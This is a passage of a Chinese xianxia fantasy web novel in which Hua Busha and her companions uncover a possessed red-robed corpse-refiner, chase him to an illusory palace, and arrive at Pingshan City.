“一个异界来客,为何偏偏要帮我?我身上有值得图谋的东西么?”花不杀审视着阿契。 阿契着急辩解道:“姐姐说过我和你之间是有命契在的,既然我一个分·身身上都有契,他身上应该也有吧?会不会他和姐姐之前认识过,只是姐姐不记得了呢?” “或许吧。” 花不杀不再细想,总归那不是眼前该考虑的事,当务之急应是去到平山城,缉拿山飞夜。 花不杀站起来,正望见远处有一片天烧得火红,与之对应的山野间有乱光闪烁着,似有异兆。 “去瞧瞧吧,有人按耐不住了。” 16. 伪装? 平山城西,地下洞窟,火光通天。 几只小鬼守在洞口处,没精神打着蔫儿。眼下入夜许久,山林间静谧得很,洞窟内也像往常一样静得离奇。值守的小鬼们有些懈怠,靠在墙上打起瞌睡。 忽而间,洞外传来一阵兵器交接声。小鬼们这才惊醒,匆忙抄起家伙往洞外跑去。没走几步,一股冷风灌进洞里,把他们都扑倒在地,而后几个黑影闪进来,一鬼一刀解决了他们。 “白副将,你要做什么?!” 洞窟深处,听见声响的鬼副将青黎带人冲了出来,却看见来人是另一个副将白无伤。他带着手下的小鬼闯进洞窟,解决值守的小鬼卒,正要往洞窟深处走去。 白面鬼被他一喊停在了原地,紧绷的脸上忽的笑容灿烂,声音谄媚道:“青黎副将,你辛苦了,将军恐你一人值守心力不济,特命我来与你交接,你可以下去休息了,今夜这里就交给我。” “你就是这样交接的?”青黎用剑指了指地上的尸体,眼神一狠,“胡说八道!将军将身体交托给我时,特意交代我不可离开半步,怎会派你接替我?将军从不信你,这趟要不是你哭着求着,哪会带你出来?说,你到底存的什么心?!” 白面鬼脸上的笑容冷下来,不再掩藏眼里的凶意,他冷冷道:“既然你都知道了,我也不瞒你,我就是奔着他的身体来的。你给也得给,不给也得给!你自己几斤几两还不清楚么?” “我就知道你没安好心,求着带你出来原来是在这等着呢!你要拿大人的身体做什么?我的地盘,岂容你撒野!” 青黎亮剑,双手蓄势待发。他身后的几十个鬼卒也握剑备战。 白无伤嗤了声,嘲笑道:“不自量力。” 打斗一触即发,不知哪方先劈出一道剑光,双方势力顿时开始混战。数百只小鬼在不大的洞窟里厮杀,刀剑光芒乱绽,场面壮观。 这一战持续半刻钟,原本青黎稳占上风,白无伤一方节节败退,但随着白面鬼祭出一滴鬼君之血,竟顿时扭转了战局。 鬼君之血抑制所有鬼族,青黎一方战力锐减,白无伤趁势一剑刺穿青黎身躯,此战终于停止。白无伤令手下将看守洞窟的小鬼斩杀干净,而后将青黎带出洞窟,补上几剑,再将其从洞外山崖推下去。他就算不死,也够他受的,碍不了事了。 白无伤返回洞窟,在洞内找到山飞夜存放于此的身体,此时他魂魄离身,唯有身躯静躺在石床之上。石床由他设下法咒庇护,任何人靠近不得。 但鬼君之血是唯一的变数,白无伤将血滴弹向法咒屏障,不费吹灰之力瓦解了这一道防护,甚至施术者丝毫察觉不到法咒上的异动。 白无伤再借血滴之力,找到其藏于体内的法器“逸羽扇”,探手取出。此法器乃是山飞夜用他生前灵骨锻造而成,集他生前力量于一体,灵力非凡。 鬼君之血沁入逸羽扇中,抹除其上存留的山飞夜的气息,以此断绝法器与主人间的联系。白无伤将其握在手中,注入力量,占为己有。 “一个个的瞧不上我,幸而鬼君殿下信任我,赐我一滴鲜血,我倒要看看你山飞夜没了法器,能奈我何?”白无伤惨白的脸上浮现出诡笑,“山飞夜,背叛之徒,你不过是鬼君的弃子,他早就不信你了,鬼界的下一个将军该是我了。这最后的任务就由我来帮你完成吧,哈哈哈哈。” …… 天幕火红,似烫开一个大洞。 深红的月光越发妖异,染得山谷也泛起红色。 一道人影飞上半空,念咒操控佩剑,正在击打着谷中的一道结界。而在结界里头,是排成阵形的一千余具凡人死尸。 那人身着红衣,操持佩剑猛砍,执意要破那结界。阴风卷得凶狠,他的衣衫和长发也翻飞不停,看起来像个走火入魔的妖物。 花不杀三人飞至此处便见他身影,看那红衣与身形,确与山飞夜一致。 可再细看,此人脸上未戴面具。更近一些,发觉此人灵力之中并无鬼气。那人察觉他们到来,收手看向来人。 “他不是山飞夜!”冷山月记得他的眼神,分明是深邃骇人的,并非眼前人这般清澈含光。她蹙起眉,望向那人:“你又是谁?执意破除结界,可是为了那些阴尸?看你身着红衣,莫非你也是那杀人炼尸之人?” 那人却不回她的话,只用目光凌厉审视了一瞬,而后手中寒芒一闪,先行击出一剑。 冷山月一时无防,叫他周身势气逼退数丈。她有些恼怒,御使手中的白罹剑飞射出去,擦着那人的身子飞过。她再趁他躲避的瞬间,几步冲上前去,近身偷袭。 眨眼的功夫双方已交手数个回合。 近身交战最易窥探对方的弱点,冷山月出招快且狠,逼他回挡。动作间却发觉那人有些力不从心,招式漏洞频出,武力明显在她之下。她不禁存疑,凭他这般低微的修为也敢做杀人炼尸之事,弄得平山城满城风雨,天下惊闻? 冷山月占据优势,很快将那人的灵力耗尽,一脚将他踢飞出去。她则紧随其后,顺势将那人踩在地上。 “你也不过如此,怎的还敢炼尸?仙律如山,你却胆敢挑战,就不怕被仙衙的人知道了,将你碎尸万段么?” 那人紧皱着眉,面色突然间煞白了些,眼神也有些涣散。他本想说话,可嘴唇微动,却突然喷出一大口血。他无力瘫软在她脚下,急喘着气。 冷山月觉得奇怪。她虽将他踩在脚下,却并未使出多大的力道,怎的他却一副重伤的样子? 她半信半疑道:“你果真只有这点修为?可你怎敢祸乱四方!我瞧你伤得重,奉劝你别使诈,随我们回仙都,该受刑受刑,该杀头便杀头!” 那人胸腹起伏不定,越发喘得急促,嘴角的血液还在不断流下,却已无力开口说话。 他的身子微微颤动,白皙的皮肤此时越显得惨白。倒不是因为失血的缘故,而是他体内似乎有某种力量扼制了他的灵脉,令他反噬不可自愈,面容憔悴。短短瞬息,他的双瞳已涣散聚焦不了,几近虚白,犹如油尽灯枯前的弥留之象。 “瞧他伤重也不是假的,你先将脚拿开,让他缓缓。” 冷山月听见花不杀的话,刚要将脚从他身上移开,远处却忽的闪来一道青光,冲她杀去,她却愣了一下。好在花不杀及时出手将那光拦下,她才不至于被劈成碎渣。 花不杀目视前方,冷眸一紧,“何人出手?既已出招,何不现身?” 不知何时,山间薄雾起,此时笼了附近的山头,让周遭的景象变得不大清晰。只发觉天空的某端有一丝青光闪烁了一下,而后一股森寒的剑气迫近周遭,在她们身前一炸,直翻腾起她们的衣摆和长发,振动不停。 “放开他!” 薄雾那头有一个粗犷的声音传了过来,而后声音落下的瞬间,一团青光闪耀,直破开谷中那阵幽红的光芒,如流星般疾落在她们身前。 青光化作人形,那是个身形魁梧、模样老成的男子。此时手提青光长剑,目光锋锐,气势不凡。 “快放开他,不然叫你们人头落地!”他再次威吓。 却不等她们回应,他的身形便如光电一般瞬移,骤然出现在了花不杀身前。青剑当头劈下,划过长空时,发出沉沉剑吟,如极恶之鬼,在讪笑,在狂舞。 花不杀应势而动,掌中长剑及时出现,轻易将这一击挡下。她正要好好与他较量一番,男子却突然松了手,任凭青剑被她的力道弹开,他也被剑击的力量贯穿全身,受了伤。 显然这自伤的方式出乎意料,花不杀错愕了瞬间。男子则借着这分秒的时机,移形换影,堪堪从她身侧划过,转而飞向冷山月。 出招原是个幌子! 他趁冷山月愣神,一脚将她踢开,快速扶起地上那人,飞向一边的山头。 花不杀道:“追!” 下一刻几道身影在山间夜幕里追逐,光影穿梭在幽光之中,如星辰流动。 花不杀先行一步,绕道从他们侧边包围,抄在前头。冷山月则在后头包抄,切断退路。 “别管我了,快去开山!” 伤重那人见势不妙,强撑着一口气打起精神,一把推开青衣男子,自己则从空中掉落下去。 他已无力平稳身子,此去必定重创躯体。他虽不如凡人那般脆弱,可凭他眼下的状况,自高空猛坠,至多能保住性命。 青衣人见他去意已决,只得恨恨叹气,狠了狠心转身飞向一侧的山头。 他一路向下俯冲,身躯破风而去,长剑在空中蓄力,划满一道圆弧。眼见着青光在他头顶凝聚,越来越耀眼,仿佛变作巨大的光球,下一瞬便要劈向一座山头。 花不杀明白他的意图,即刻飞身追去,但终究是他快了一步。他终于积蓄完力量,猛力将剑上的青光激射出去。 一道耀眼的剑光自空中辐散,形成一道硕大的圆弧形光影,如巨大的青刀一般直直切向了山头。 那一瞬间,乱光晃眼,整个大地都颤动起来。山体瞬间分裂成几个大块,巨石滚落的同时,山体内部奔涌出一大股红色液体。 血河! 血液如洪流一般,自山体的缝隙里奔涌,流向山谷腹地。此处,正是那千具尸体所在之地。 古书言,有煞术者,引阳血至阴尸,便可激其怨气,成其尸变,化为嗜杀傀儡,非死不灭…… 花不杀恍然大悟,“你原是要炼制傀儡!故而杀人数千,你要造反么!” 血液顺着山体的斜坡流淌得极快,眼见着不出片刻,位于谷中洼地里的阴尸的脚下已漫灌起血海,越来越深。周边阴煞突生,血气弥漫。 阴尸脚下有红光闪烁起来,一个个清晰的咒印浮现在血的表面。它们彼此连接,变成更大的咒印。此前布在此处的法阵终于要觉醒了,不需一刻,傀儡便成。 这关头若要阻止傀儡炼成,唯有在其鬼化之前毁了尸身。花不杀逼近尸阵头顶,伸手一握,佩剑“栖谲”闪着灵光出现在她手中。随着她注入灵力,栖谲周身紫光猛耀。凛冽的剑气卷起厉风,直将脚下站立的数十具阴尸掀翻,载倒在血里。 她以光化剑,布下千百柄利剑组成的剑阵,罩在阴尸上方,铺成“天罗地网”。出手的片刻,千剑齐吟,声浪滔天。眼看剑阵落下,华光威耀。 却突生变数。剑影戛止在阴尸头顶咫尺的空中,无端停止攻击,不再落下。她握在手中的佩剑也脱离掌控,再召不回。 同时她觉察到栖谲剑满身充斥着陌生的灵力,远胜她不少。她每一次想将它召回,腹内便起一股烧灼之感。她才顿悟,是那颗珠子在散发灵力,在左右她的力量。 远处紫光盛放,栖谲剑垂直悬停于空中,浸在一片幽紫光芒中。一些轮廓在光芒中凝结成 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他怒声呵道:“我杀人练尸?你可亲眼所见他们死于我手?也不知哪冒出来的丫头坏我大事!你可知破了此阵,多少人要因你而死,多少冤魂要死在魇尸手下!” 那人声嘶力竭,倒像是真的愤怒,眼里布满血丝。 “大人。”冷山月飞身而来,一手拎着另一人的领口,将他脸朝地面扔在了青衣人面前。 先前这人坠下空去,冷山月便随他落了地。他倒是真的受了重伤,连落地时都未使出灵力缓冲,险些晕死过去,还是冷山月注入灵力才让他缓了口气。 冷山月道:“说吧,来龙去脉都给我交代清楚,要是有所隐瞒,刀剑可不长眼。” 青衣男子看着面前人鲜血淋漓、气若游丝的惨状,凶恶的眼眸里竟然泛起水光。 “大人……”青衣唤了他一句,哽咽得抽泣起来,神情极是悔恨。忽而他又抬头冲她们吼:“明明就差最后一步,你们为什么要来搅局!现在好了,大家都得死,你满意了?” 冷山月道:“什么叫大家都得死,你设此傀儡之阵,还成我们的错了?你给我说清楚,有半句假话,定斩不饶!” 青衣像是一下子泄了气,直起的上半身又坐了下去。他摇头轻笑了一声,“还有什么好说的,都是你们造的杀孽,现在好了,一切都毁了!平山城乃至周边数城都等着遭殃吧,没办法了,大家都等死好了……” 花不杀没了耐心,剑指向红衣男子喉间,冷眸看着青衣,“你唤他大人,此人对你很重要吧?你若再不说实话,他就得人头落地!” 青衣脸色突变,一下子慌乱了。他双膝跪在地上,因为被锁链捆绑不能站立,于是膝行着向红衣男子“走”去,挡在他身前,直面冰冷的剑锋。 “别伤他,我可以告诉你!” 花不杀这才将剑收了回来。也不知是不是错觉,目光扫过红衣男子的时候,发觉他的眼眸里似有红光闪动,再一看又没了。 青衣人道:“你们所见的阵并非一般的傀儡阵,设阵也并非为了炼制傀儡,而是要毁灭尸体。引血入阵是可以炼制傀儡,但是若将阵法逆转,则是镇压邪祟的阵法,一般的阴尸自然……大人、你……你……” 青衣说着,突然一只手从身后扼住了他的脖颈,掐断他的话头。他忽觉窒息,侧头以余光惊恐地看着他的脸,突然觉得他很陌生,心中恶寒。 “嘘,你说得太多了,若是全让她们知道了,这场戏就不好看了。” 一身红衣,正是原先躺在地上那人。只是他明明伤重,怎么却奇迹般地爬了起来?甚至连她们都没看清他是何时动作的,一切只发生在瞬息之间。 红衣男子勾唇笑着,一击他颈后,青衣便昏了过去。他终于抬眸对上两道诧异的视线,慢慢站了起来。 他的身量并未高出她们多少,逆光中却有种睨视的压迫之感。狭长的凤眼里,那双眼睛灵光不再,瞳孔发红,忽而如深潭般深邃空洞。眼神凌厉而又轻佻,一改原先清澈含光之态。 “没想到区区几具尸体倒惊动仙君陛下了,真是荣幸。” 语气轻狂,音调忽转,前后举止仿佛变了个人。 花不杀不明所以,“你骗我?我还道你这点实力怎么可能杀人练尸,果然,你确有实力,何故隐瞒?”她视线瞥向青衣,“他忠心于你,却也在你的算计之中?” 那人轻笑,凤眸微弯。“大人所言也对也不对,我确有实力,但他是心甘情愿的,说不上利用。” 花不杀心中一寒。此人身份成迷,好似一眼能看穿所有,着实可惧。 “为何隐忍不发?”花不杀冷声质问,“如此近的距离内钳制青衣,而不被察觉,你的实力远不止我们看到的那样,何必如此?” 那人笑了声,语调越发诡异起来,“你既猜不出,就当是我有心隐瞒,只为让这场戏更加有趣罢了。” 冷山月扫过他的面颊,见他面色苍白,说话声音却中气十足,完全不像受伤之人说话擒着点劲的样子。她亲眼看见他坠落地面,危急关头毫无护身灵力不假,怎么会…… 她目光下移,注意到他胸腹几个大的伤口仍往外冒着血。但他却似乎感觉不到疼痛,也未曾止血,好像从来就没有注意到。 他浑身透着古怪,重伤至此,若不是天生耐力惊人或有不死之身,怎么可能说话是如此轻松之态? 不对,一定有什么地方不对! 17. 附身术 花不杀眉头紧锁。 若说红衣鬼影杀人炼尸,她的第一直觉便是山飞夜,可方才比对二者,他绝不是山飞夜。他的眼神只需一眼,也能叫人铭记于心。他眼中寒凉且深邃,其间深藏着死寂与绝望,不可能再清澈。 听他所言,花不杀迷顿,这一切诡异又费解。但若他所言非虚,他并非有心隐瞒,那他前后两种迥异状态,要说得通的话,就只有一种可能。 她心下突然有了一个方向,手起剑落,一道寒光便朝他身体劈了过去。剑光席卷着厉风扑向他周身,在他身外一炸。他动作却快,闪身轻松躲避,而后拂手幻出一道屏障,将剑气抵消了个干干净净。 白光一闪,白罹剑从他侧方夹击而来,与栖谲双剑联合,让他双面受敌。剑在他身外飞梭,他却悠然站在其中,只凝结灵气作屏,让其接近不得。 剑的攻势猛地强势起来,两人合力激发剑的灵威,只见前方光芒耀眼,吞没了他的身躯。 花不杀身如疾电,潜入光芒中,一瞬出现在他的一侧。她趁他被剑掣肘,寻得间隙,一步上前握住了他的手腕。 那人反应却是极快,立即将手抽了回去,同时击出一掌将她推了回来。而后他怒振长袖,击出一圈气浪,将双剑送回各自手中。 “你这是做什么?”那人凝眉看着花不杀,隐隐生怒。 她沉默片刻,思绪急转,忽而像是明白了什么,脸上漾起笑意,“原是如此!” 一旁观战的阿契在他们打斗之时,以通透的眼眸洞察了一番红衣人的躯体,忽然有了奇异的发现。他快速飞到花不杀身旁,警惕道:“姐姐,他不对劲,他不是一个人,他体内有两个灵魂。他身上有仙气,也有鬼气,他很奇怪,姐姐小心。” 冷山月一头雾水看着他们:“什么两个灵魂?他不是一个人,还能是两个人吗?” 花不杀望她一笑,看着那人道:“先前被山月打倒在地,确实是因为你的实力在她之下。后来你在我眼皮底下冲上去扼住青衣的脖颈,而我丝毫不察,也确实是你的实力。你并没有说谎,前后两者,都是你的实力,只是前面的你和后面的你并非同一人。所以你并不是隐忍不发,恰恰是不能发,因为先前身体里的那个人根本就不是你!” 花不杀对上他的眼神,“附身术,对吧?” 那人闻言狭长的凤眼微阖,一改先前的轻视,转而深深凝视着她。赤色的瞳孔此时颜色更加鲜亮了些,越来越像血。 须臾,他冷笑了一声,嘴角歪起诡异的弧度,音调妖媚道:“大人果然聪慧,丝毫不差。只是我很好奇,你是何时怀疑的?” 花不杀回敬一个深意的笑容,娓娓道来:“方才你被山月打得吐血,又从高空坠下,且坠地的生死关头没有使出灵力缓冲,说明那时的你确实没有任何还手之力。你重伤不假。试说一个重伤之人,如何能在我眼皮子底下扼住他人脖颈而不被察觉?不太可能,所以那时起我便有所怀疑。 我引你出招,握你手腕,便是为了探一探你这具身体的脉搏,果然如我所料,脉象虚浮。这样的脉象,根本不可能如你现在这般活动自如。你可曾注意到身上的伤口?还在流血,可你的脸上却看不出半点痛苦。你血肉之身也不是铁石做的,就算再能忍,也不可能如你这般自如。这是第二个破绽。 青衣唤你大人,对吧?他是你属下,在生死关头说出真相救你,可为何话到一半你才出手?你不让他说,是为了让这场戏有趣,可一个字不说,不是更有趣吗?我猜你更愿意将一个完整的谜团扔在我们面前,看我们一筹不展,才更开心吧?你出手的时间不对,这是第三个破绽。” 那人听他分析,脸上的神情更加古怪,看不出喜怒。他的笑更阴森,眼中闪过阴厉的光芒。他的目光紧锁在她身上,却久久不发一言。 冷山月听她一番说辞,心中犹如一阵轰鸣,不可置信地睁大双眼,“原来竟是换了个人!怪不得如此!” 她重新审视面前的男子,从他的身形到他的气场,寻找他身上符合她们预设的信息。如今唯一知道的是他实力超群,能够轻易侵占他人的身躯,他必定是世间武力的翘楚,有些声名。如此倒是和山飞夜对上了,或许是这只鬼巧借他人之身,借其身份杀人炼尸,也未可知。 早先在仙都时,冷山月也曾听过山飞夜的传闻,知道他的事迹。世人都说此鬼招数万化,多得是心计。或许如今就为了捉弄她们,也愿意隐藏身份潜入宿主体内,故意扰乱思绪,让这个案件扑朔迷离呢?他不是喜欢有趣的事么?看她们一筹不展,最有趣了。 冷山月联想至此,心觉恐惧,惊疑不定。可再仔细推敲之后,又自行推翻假设,附身之人定不会是山飞夜。 且说附身术乃是仙界秘术,唯有高深的仙修才能修习。山飞夜一个出自鬼域的将军,就算天赋异禀,然根骨制约,也万万修习不得,能施此术者,便必然不会是鬼,不会是山飞夜。 或许他同山飞夜一样,也是个嗜杀成性之人,学他红衣祸世的手段,想来仗着他的威名,旁人也不敢拿他怎样,便如一道护身符了。 耳边传来击掌声,打破这长久的沉静。红衣人终于回应:“大人聪慧,我的心思都叫你看穿。你如此配合,我相信这场戏会越来越精彩的。” 花不杀冷笑一声:“你布的局自然精彩。瞧你身上衣裳的材质和绣工皆数上乘,非一般人所有,可见他的身份不凡。你附身于他,凭着他的身份、势力杀人炼尸,自然要比你自己的身份方便许多。你很聪明,他居于高位,一般人冒犯不得,这自然又成了你的一道护身符。” 手下升起一团紫光,正是栖谲,直指那人喉间。“现在看来,青衣所说非假,确实是为了毁尸而设阵。斗胆猜测你便是那杀人之人吧?为何杀人?我记得青衣提到一句‘魇尸’,若我没记错,那是一种由普通尸体炼制而成的高阶灵物,嗜血残暴,是极好的傀儡。那么炼制魇尸,你的目的又是什么?是为了灭城报复,还是意欲谋反?最好如实交代!” “大人手握长剑,这是要和在下比试一番么?在下奉陪。”那人懒散地笑着,从头至尾没将她放在眼里。 “少说废话!”白罹飞出,直冲那人喉间,速度极快,携风而去。 那人幻出长剑轻轻一扫,却轻易让它偏离了轨迹,从他身外掠过。 “这位姑娘好生心急,出招也是狠辣,怎么,怕了么?我看姑娘生得好看,心生倾慕,不如成全了我?” 冷山月不想再听他污言秽语,御使白罹如疾电一般朝他 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冷山月手一挥,白罹便从眼前划过,闪耀着光芒,一瞬分.身化作数百柄剑,裹挟飓风闯入血海。那些原本还看得出模样的尸块,经此一击全都散作碎肉。 她再拂袖生风,化为无形。 …… 花不杀循着红光落在十里之外的一座山上。 山脚下一座石门,用朱笔题了“荨阳宫”三个字。门后边一条曲径通往山顶,两旁载满桃树。 现下时节,别处桃花早已散落,这里却开得茂盛。花瓣鲜红如染,比起他处更加妖艳。 花不杀踏上花道,平望两边,香气袭来,醇香厚重。 山道蜿蜒而上,尽头却是一座华丽宫殿。放眼看去,整座宫殿都是红色的。檐上挂满风铃,有风过,叮叮当当响成一片。 荨阳宫上,一片红伞倒挂,如盛放的莲,一朵接着一朵。里面装满液体,透过伞面看去,水光潋滟、晶莹如玉。 花不杀看那红伞,一时愣怔。红伞乃是山飞夜出没的排场,此人确与山飞夜有些关系么? 大殿连着几座偏殿,四下找寻,空无一人,想必那人早已遁走。 花不杀站在殿前,抬头却发现梁木上有灵力流走的痕迹,再回身看看天上的红伞和山下的桃林,也都有灵力的痕迹。原来,这荨阳宫竟是一座用幻术搭建起来的宫殿! 她心中暗道不好。 修术之人以幻术变换物体,需要消耗自身的灵力。那部分灵力留存在物体体内,只有当它毁灭破碎了,里面的力量才会回到施法者身上。如此说来,要支撑起一整座山的幻术,必定消耗了大量的灵力。 只是不知道宫殿是谁所设。 若是山飞夜,此人敢入他的地盘,与他关系必然颇深,或许也是某位有头有脸的人物。若是他自行设下的,便是故意仿造山飞夜的手法,幻出倒挂的纸伞,借他威名一用。即使这样,此人武力也叫人心生恐惧。 他与她们打斗之时,花不杀便觉得他似有保留。三人合力方能将他打败,算上他隐藏的实力和支撑幻术消耗的灵力,推算他的实力在几界之内当属上乘。 可是有如此实力,又要炼尸做什么?又何必使一招附身术? 18. 镜中魂 回到深谷,周遭的血气已经散尽。冷山月和阿契倚在树下歇息,见她落地,阿契迎上前:“姐姐,可追上他了?” 花不杀摇头。 冷山月道:“那我们现在怎么办?找不到他就阻止不了他杀人炼尸,就算毁了这里的尸体,他也还会再炼,仍旧无济于事。” 花不杀沉默一瞬,心中有了打算,道:“进平山城。” 冷山月道:“大人觉得平山城与炼尸人的身份有关联?” 花不杀微一点头,“整件事情到现在一点头绪都没有,想要清楚事件始末,须得从炼尸人附身的那人入手。此处离平山城最近,我猜那人应该是来自平山城的。 此处并非灵气丰盈之所,若是来自别处,大可不必大老远跑到这山谷里来设阵,这说不通。再者,若是来自别处的,在平山城境内作案,平山城的城主难道不会管么?会任由他为非作歹?这不太可能,所以我猜他只能是来自平城,并且位高权重。平山城中还有谁比城主尊贵或是势力更大?我若是炼尸人,首先考虑的便是这位城主了。” 冷山月赞同道:“大人所言极是,以城主的身份在平山城杀人炼尸,自然无人敢管,他也有足够的能力掩盖这件事,确实是最好的选择。况且去凡间必须要有通界令牌,此物难得,炼尸人或是利用城主的身份骗取了令牌,或是与某位域君私通得了令牌去。如此一来,便可以为所欲为,才有了之后这一系列的事。 只可惜没有抓到那人。大人既猜测他是平山城城主,不妨知会镜司大人,由她请命派兵埋伏在平山城外,就算炼尸人有三头六臂,怕是也难逃一劫。” 花不杀道:“那炼尸人远比我们见到的厉害多了。他与你我打斗之时并未使出全力,仍有所保留。我追他至一座山上,发现那里的桃林、宫殿皆为法术幻化。要支撑起一座山的幻术,还有精力与你我打斗,他的实力必定远超预判,或许不逊山飞夜多少。 况且如今也只是推测,没有证据,这样冒失,大人是不会派兵的。我们只能先证实猜测,才能名正言顺地包围平山城,缉拿炼尸人。” 阿契听她一说,深感心凉,担心道:“与他打斗之时我们联手才能将他击退,他还要分出一部分力量支撑幻术,这样看来他也太厉害了,我们最后能赢他吗?” 花不杀微笑道:“无需担心,我有把握。” 冷山月揉揉他的脑袋,安抚道:“相信大人吧,更离奇的案子都遇到过,这一次也不会例外。” 阿契点点头,“好诶,我相信你们。” 花不杀起身御剑,却忽觉脚边一紧,不知什么东西突然扯住她的衣摆。她低头看去,却发现是只死人手。它的指节已腐,化脓露骨,身子深埋黄土,只伸出两只手在地上抓扯着。 花不杀干脆利落地砍断了那双手,但它却被激怒,脑袋猛地钻出地面,朝四周撕咬。她一挥剑,催生一阵疾风斩断它的头颅。 它的身子依旧往外挣脱。花不杀拂袖一股清风袭去,原本张牙舞爪的鬼,登时在风中化作一滩脓水。 花不杀道:“炼尸人放任阴尸行窜,它们能遁地,必然也能潜水,只怕附近几座山头,乃至周边的城池已被侵占。如此蔓延开来,待魇尸炼成,势必要大乱一番。” 冷山月道:“留给我们的时间已经不多,炼尸人既然知道我们寻来,只怕要加紧进度,或许天明前魇尸便要炼成。为今之计,须得快些去平城探探虚实,至少确定那被附身之人是否为平山城城主。” 事到如今,尚无头绪。那炼尸人所图为何?若是寻仇、霸权,也站不住脚。炼尸费心费力不说,效用也不大。魇尸虽强,但与仙兵仙将相比,还是相差甚远。就算有这样一支傀儡军,也掀不起什么风浪。 眼下情景,正如一潭死水,越搅越浑。藏着的秘密,只有到了平山城才能揭开。 起身之时,花不杀腹内又起焦灼之感。剧痛瞬间蔓延全身,伴生出昏沉的感觉。她突然一头栽了下去,失去意识。 …… 眼皮被压迫着,身体周围冰凉的液体缓缓流动。 花不杀用力睁开眼皮,那些液体即刻涌来,淹没了眼球。 眼前是一片幽蓝的颜色。头顶上方几束微弱的光线穿插下来,粼粼波光映着斑驳的碎影。 这是在……水下? 冰凉的感觉令其大脑恢复意识,花不杀愕然睁大眼睛,看着这个陌生的环境。她使出全力想往上游动,却发现她陷在一片灵力场里,神秘的力量禁锢她的四肢,令其动弹不得。 腹部那熟悉的灼热感又燃烧起来。痛感传达周身灵穴的同时,她身上也被一圈红光笼罩。感觉肚皮要被生生烫出一个大洞来,陌生的力量又在经脉间涌动,主导她的躯体。她不受控制地将身子后仰,烧灼感便由腹部慢慢向上移动。 终于,那颗珠子划过喉咙,冲出口腔,在她身前化作耀眼猩光。幽光遍撒幽暗的水下,随着水体摇曳,宛若一个幻境。 在她身前,光中凝结出一个圆形轮廓的物体,那是一面清光闪闪的银镜,无端出现在水下。一圈耀眼的流光环绕着巨大镜面,勾勒着镜子的外框,她的影像出现在镜子里。 可突然,她反应过来那不是自己。 镜中人与她衣着一致,衣摆也随水体翻动着。她的容貌一丝一差,就连皮肤的细节也完全一致,可唯有一处不同——她闭着眼。 花不杀明白过来,这根本不是一面镜子!而是一个由幻术搭建的通道。那人是身处另一个幽深世界的灵魂,而这“镜子”则是她与这个世界连接的通道。 花不杀看着面前惊悚的一幕,无疑心中一震。也在这一瞬间,那女子身上泛起一圈红光,忽而睁开那双幽暗如夜空的深眸,目光空洞地注视着她的方向,嘴角挂上一丝微妙的笑。 “你是谁?要做什么?”花不杀问道。

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那人在她耳畔浅笑,轻轻道:“你可曾听说过双生花?双生的花朵,一朵的生注定另一朵的死,我们都是被命运诅咒的人。”她的嗓音有些哽咽,“不过你比我幸运……” “什么意思?” 花不杀感知到她似乎与自己有某种联系。她好像陷入某个局中,被巨大的隐秘笼罩,越来越抽不出身。她还要说话,唇瓣却突然被她的指尖抵住。 “嘘,有人在唤你了……” 那人慢慢放开了花不杀,将脸移到她的正面,近距离看着她面孔的细节。她轻轻抚摸着她的面庞,眼神里似乎有些宽慰,嘴角的笑容依旧饱含深意,不可琢磨。 她缓缓后退,慢慢的身上的光芒黯淡了下去,躯体再次穿回“镜子”里的空间,而后随这银镜一起化为了泡影…… …… “大人,你可是醒了过来!方才你突然昏厥,可把我吓坏了,幸好你脉象无虞,终是苏醒过来。”冷山月见她苏醒,揪紧的心终于舒展开。 阿契眼睛红红的,显然刚哭过,他揉揉眼道:“姐姐为何突然睡过去了?可吓坏我和山月姐姐了,还好还好,姐姐终于醒过来了,没事了。” 花不杀向阿契浅笑,让他安心,“许是那颗珠子的缘故,方才我无端入了梦境,见一女子同我生得一致,她将我抱着,却说些奇怪的话,也不知她与我有何渊源。” 阿契道:“姐姐别怕,既然是幽冥珠带你进入梦境的,或许那女子与姐姐确有关联,等时机到了一切自然都可知晓了。我知道幽冥神不会害姐姐的,姐姐别怕,去接受幽冥神的安排吧。” 花不杀点头道:“我相信阿契。” 19. 食魂 平山城距山谷不过十里,花不杀三人御剑小半刻,便也到了。 初入城中,视线便被一片红色引了过去。一条长街由城门引至城中,街道两侧是林立的屋舍。那抹红色,正是悬于空中遮天蔽日的倒挂纸伞。 场景似曾相识,不同的是,纸伞里放着的是一盏花灯,而不是盛着液体。所以一个个伞面看起来都晶莹剔透,灯光映射犹如凝脂。 他们沿着街道行走,此时已经夜深,街上早没了人影,连夜风吹拂的声音都清晰起来。 平山城位于仙界西域与北域交界之地,在外接壤妖界领地,在内远离仙都霰安城,是故远离喧嚣,偏安一隅。边境之城人烟不众,街市也不甚繁华,比起他处显得寥落不少。一入夜,行人散,喧闹早歇,一片静谧。 整条街道户门紧闭,唯有尽头一处灯火通明,数座高楼林立于低矮屋舍间,显得恢宏惹眼,想来便是城主府了。 他们加快步伐向那处走去,却又突然听见前方传出一阵窸窣的声响,紧接着一道黑影从一条巷子里窜了出来,极速奔向他们脚边。 那黑影暴露在月光下,依稀看清了轮廓,是个披头散发的人,却模样不辨。一身衣裳也破烂不堪,满身的泥垢与血污。他走路踉踉跄跄,边走边回头慌乱张望,目光不停地扫视周围,像是在躲避着什么人或什么物。 谨慎地确定周围安全之后,他两步并作一步,突然连哭带笑冲了过来。沾满血迹的双手扯住花不杀的衣襟,一连磕了几个头,直到把额头磕破。 “救命!救救我……血!都是血!好多好多血!” 直到她开口说话,才发现她是个女子。 她抬头看了花不杀一眼,正对上她垂视的双眸,又突然像是见到了什么极其恐怖的东西一样,手猛地一松,整个人向后跌倒,手脚并用向后面爬去。 “啊!有鬼……啊……别杀我!别杀我!” 女子缩在一个角落里,双手抱膝,全身因为害怕颤抖起来。她摇着头哭嚎着,任长发在脸上拍得生疼,拍出红印。 “阿樱,别怕别怕,娘来了。”一个声音从一侧传来,一个中年妇女拎着件衣裳小跑过来。她在女子身前蹲下,将衣裳披在她身上,强忍泪水,一把将她抱在了怀里。大手抚着她的后背,安抚她的情绪。 “娘……”那女子好像恢复了一点理智,睁着清亮的双眼看着她,哭得更厉害。 “阿樱乖,娘在呢,没有鬼的,别怕。”中年妇女揉着她的头发,好不容易让她慢慢镇静下来。 “她这是怎么了?”花不杀走近,停在她们身前几步之外,她微笑着看了那女子一眼。 许是这微笑温柔和善,才让她暂时放下恐惧,没有大哭大闹。她缩在母亲怀中,试探着用目光回看,却不敢发出声音。 妇女抬头看了眼花不杀一行人,看清来人是容貌清丽的女子和单纯的少年,放下戒备,低下头继续安抚阿樱。她轻叹了一声,好声劝告:“姑娘半夜为何在街上游荡,快些回家去吧,这些天别再出门了,城中不太平啊!” 